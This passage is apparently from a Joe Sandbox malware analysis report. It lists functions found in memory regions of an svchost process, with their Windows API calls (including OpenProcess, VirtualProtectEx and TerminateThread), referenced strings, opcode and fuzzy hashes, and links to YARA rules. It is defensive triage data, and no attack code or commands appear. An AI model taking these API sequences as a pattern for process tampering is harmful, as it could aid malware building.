API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: bbc7888f5e4037d8188519172c2121bad00389fe15c94999cae900f3cde1423e
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4114D703C8F8081FA6E97317E4F76D21516B487E2F1447A4B936466E6DE78C4018728

Function 00000257E10A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000257E10A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
lstrlenW.KERNEL32 ref: 00000257E10A19FB
StrCpyW.SHLWAPI ref: 00000257E10A1A0E
CloseHandle.KERNEL32 ref: 00000257E10A1A1C

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 4c54e0cd68b01bb03e9099f5d5445d1d048295c9e60c374dc5866ed19de68462
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 48015731348F4082EA19DB52B89AB5A63A5F788FC2F888475DE5A43754DE38C989C704

Function 00000257E10A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A36E4
GetCurrentProcess.KERNEL32 ref: 00000257E10A36F2
VirtualProtectEx.KERNEL32 ref: 00000257E10A3714
GetCurrentProcess.KERNEL32 ref: 00000257E10A3732
VirtualProtectEx.KERNEL32 ref: 00000257E10A3753
TerminateThread.KERNEL32 ref: 00000257E10A3762

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: f5791e389f93502f4c9fee8c8b73c305a7e67720a75c226d159784ea1be0102c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 47011775259F4086EB2ADB22FC1F71A66B0BB99B87F0404A4DA5907764EF3DC148CB18

Function 00000257E10A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: dfda00a6953bd7fd31afee440e3a8cdc3f116b40ca32194e381a607924f2b4fb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4C51A132749B008AEB1EDB25FC4FB593796F344B89F1081A8DA1747788EB75E981C718

Function 00000257E10A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7996f0918551bbe49c81effb0a51052158cdeed2e265b154e812129fb940380b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A317832388B409AE71ADB21FC4BB5937A5F340B8AF158158AE5747789DB39D980C718

Function 00000257E10A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000257E10A1A60
StrCmpNIW.SHLWAPI ref: 00000257E10A1A7A
lstrlenW.KERNEL32 ref: 00000257E10A1A89
StrCpyW.SHLWAPI ref: 00000257E10A1A9E

Strings

\\?\, xrefs: 00000257E10A1A6E

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d56e8e4ea1c63715ed7fae816492958a322087c5f1097162d2259ce4f6dc8c21
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C2F06272348F4192EB65CF21FCDAB5A67A1F758BCAF848060DA4946954DF3CC68DCB04

Function 00000257E10ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000257E10ABCBD
GetProcAddress.KERNEL32 ref: 00000257E10ABCD3
FreeLibrary.KERNEL32 ref: 00000257E10ABCFA

Strings

CorExitProcess, xrefs: 00000257E10ABCCC
mscoree.dll, xrefs: 00000257E10ABCB4

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: a1c3fc9fb2c424eb5cf16538e388777059fc8f0e0a0ae8e1d12dd053b8120eaf
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D9F06271359F0481EB1ACB29FC4FB6A6321FB88BA2F540299DA6A461E4DF3CC4448354

Function 00000257E10A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000257E10A3066
StrCpyW.SHLWAPI ref: 00000257E10A3076
StrCatW.SHLWAPI ref: 00000257E10A3082
PathCombineW.SHLWAPI ref: 00000257E10A3090

Strings

\\.\pipe\, xrefs: 00000257E10A305C

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 6788c6199675c10edf7c539ab1b1bd7f0a961ca82cbb9ee56a1611471c4650f0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E1F08C2038DF8482EA49CF13BD1F619A260AB48FC2F0880B0EE6A07B18DF3CC4458708

Function 00000257E10A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5156

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 3bab7aea2da97d2c89cf869e435822f7947a441c0eb5686131a233f6f073e29f
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 8702F67225DB8086EBA5CB59F89635AB7A0F3C4785F104055EA8E87BA8DF7CC484CF14

Function 00000257E10A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5726

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 7c0b0c8c25f7da43d0dd52c625788ab6d70cb4887c3805681c3f7a601031dd5b
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: E261C77655DF40C6E76A8B1AF84A31AB7E0F388785F100155EA8E47BA8DB7CC444CF18

Function 00000257E10B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E10B412C
_set_statfp.LIBCMT ref: 00000257E10B4147
_set_statfp.LIBCMT ref: 00000257E10B4163
_set_statfp.LIBCMT ref: 00000257E10B419F

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9bd224d7f8937e48dcb23c6a92691f7b715b7476c5eb2bebaeb9097fbf750117
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3011A722FDCF5021F66E9568FC5FB6911406B783B6F180EA4A577876D6CA34CB41811C

Function 00000257E1083504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E108352C
_set_statfp.LIBCMT ref: 00000257E1083547
_set_statfp.LIBCMT ref: 00000257E1083563
_set_statfp.LIBCMT ref: 00000257E108359F

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a39f79cb811ea4c1becf5d789feaa45f4274d3385c809976c6f2e92f2461cad1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B911A7226DCF1119FA5E1529FC4F3693180EBD9376F4846B8A9660EFDACA78C8414228

Function 00000257E107F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000257E107F124

Strings

Wednesday, xrefs: 00000257E107F1ED
Tuesday, xrefs: 00000257E107F0F4
or copy constructor iterator', xrefs: 00000257E107F25A, 00000257E107F275

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8e9c97b707987eaf443330098e57a4151393cd7d99a53dd1af56ba60a02a01f1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 7561D63268CF4042F66FFB69FD4F3B966A1F782742F514495DA2A07795DB34C8428308

Function 00000257E10AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000257E10AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000257E10AAAB7

Strings

MOC, xrefs: 00000257E10AAA7C
RCC, xrefs: 00000257E10AAA85

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 84adbe2866ac1e2fb66f4364389380746c042a873a352a778f6fc0d74beb4a81
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E961BD33608F88CAEB29DF65E88639D77A0F358B89F044255EF4A17B99DB38C084C714

Function 00000257E10AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E10AAE88

Strings

csm, xrefs: 00000257E10AADC2
csm, xrefs: 00000257E10AAEDA

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ff1a59e2cae9877e41fdea86006ac35bc3c2ac676c8524eb9a1b3888c61eb4ec
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6351E172188B80CAEB7D8F65B88B35D77A4F354B86F148156DB8A47BD5CB38C490C718

Function 00000257E107A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E107A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E107A288

Strings

csm, xrefs: 00000257E107A1C2
csm, xrefs: 00000257E107A2DA

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 83f5e9c311c848ec4fd2a0c7c7ec5783ac5279642614553dd1b91d6c427617f7
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0E51D432148B80CAEB7AAF25B84B37877A0F354B86F1C8155FA8947BD5CB78D491C708

Function 00000257E1078405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

csm, xrefs: 00000257E107848E
f, xrefs: 00000257E1078426

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ee813d9cd048edd468e5633751c041e363784de44c713b5dfd16f397443d62c2
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5A51D272749B008AEB5EEF15F80BB283795F350B99F5581A6DA064778CEB74DCC08708

Function 00000257E10783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

csm, xrefs: 00000257E107848E
f, xrefs: 00000257E1078426

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fef70a26cb8617019fb27fbb8b1d28829320fb28e202bfa77e2c679c26842ebd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A31A271249B40D6E71AEF21FC4B72977A4F340B9AF158059EE5A07B88DB38C980C708

Function 00000257E10B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000257E10B20D7
WriteFile.KERNEL32 ref: 00000257E10B239F
WriteFile.KERNEL32 ref: 00000257E10B23E5
GetLastError.KERNEL32 ref: 00000257E10B249B

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 68dab6fe74a75fbd6536b3dcbd820ba112786e56dfb684d69ab30bb7c3da5d7e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 69D13032B58F8089E716CFB9E84A79C3BB1F354B99F008256CE5997B99DB38D406C344

Function 00000257E10A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A14C5
HeapFree.KERNEL32 ref: 00000257E10A14D4
GetProcessHeap.KERNEL32 ref: 00000257E10A14E1
HeapFree.KERNEL32 ref: 00000257E10A14F0
GetProcessHeap.KERNEL32 ref: 00000257E10A1500

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 1db1360ba7b751730b1259011854ce9dc25cb220d1e3979c32bb2201401d3ca7
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 16015A32648F90C6E709DF66FD0A64A77A4F788F82F084825EA5A43729DE38C451C744

Function 00000257E10B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000257E10B2A9C
GetLastError.KERNEL32 ref: 00000257E10B2B27

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: d3f0363712b424162af198fcb1f2ccd060454dcd3d61e37f8d2bcd7dd235890b
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 55912632758F5485F76ADF65AC4BBAD3BA0F344B8AF144189DE0A57A94CF34D482C708

Function 00000257E10A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000257E10A798C
GetCurrentThreadId.KERNEL32 ref: 00000257E10A799A
GetCurrentProcessId.KERNEL32 ref: 00000257E10A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000257E10A79B6

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a2a4f887a9f13fcddb2c7929769560035c01c8ba1ff43c4decbc8a8071c20252
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CA113C22754F018AEB01CF60FC5A3A833A4F719759F440E21EA6D867A4DF78C1A8C380

Function 00000257E10A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2620
StrCpyW.SHLWAPI ref: 00000257E10A2639

Strings

\\.\pipe\, xrefs: 00000257E10A262B

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: d8c6a38f007fb3a7686c76c7a8283c4c2af24b0e33f9ff83396385155cc53d9c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6F71E336288F8186E72EDE25BC5B3EE6B90F789B86F440066DD0A47B88DF34C641C714

Function 00000257E1079E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000257E1079EB7

Strings

MOC, xrefs: 00000257E1079E7C
RCC, xrefs: 00000257E1079E85

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 72cc404f53ef2108c57ae6d6efccfd71c2e81a8e4ff4a0d360792559cd38555b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD61AC33608F848AEB2AEF65E8463AD77A0F344B99F044655EF4A17B98DB38D095C704

Function 00000257E10A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2416
StrCpyW.SHLWAPI ref: 00000257E10A242D

Strings

\\.\pipe\, xrefs: 00000257E10A2421

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: f4fc28d39a0cdc524aee5adda2c2e0e63ac63cf0b53b223d59b02d2ca35e917c
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3E51063268CF8181F67EDE29B85F3AAA761F385781F440175DE9A03B49DE39C504C768

Function 00000257E10B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000257E10B2807
GetLastError.KERNEL32 ref: 00000257E10B2829

Strings

U, xrefs: 00000257E10B27B3

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 36eee36a702be5d229b17d9c9138d260910e3688b71927c4caf75304bb23e6ee
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: FE41A232359F8082EB26DF25F84A7AA77A0F798795F504021EE4D87794EB3CD441CB48

Function 00000257E10A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000257E10A94F0
RaiseException.KERNEL32 ref: 00000257E10A9531

Strings

csm, xrefs: 00000257E10A951E

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e302ae30e49da29a726c6f913943f5073bbf1f5ae9d0972a697904f802fd5f1d
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 55112B36219F8082EB668B25F84635977E5F788B95F584260EECD07758DF3CC551CB04

Function 00000257E1077356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

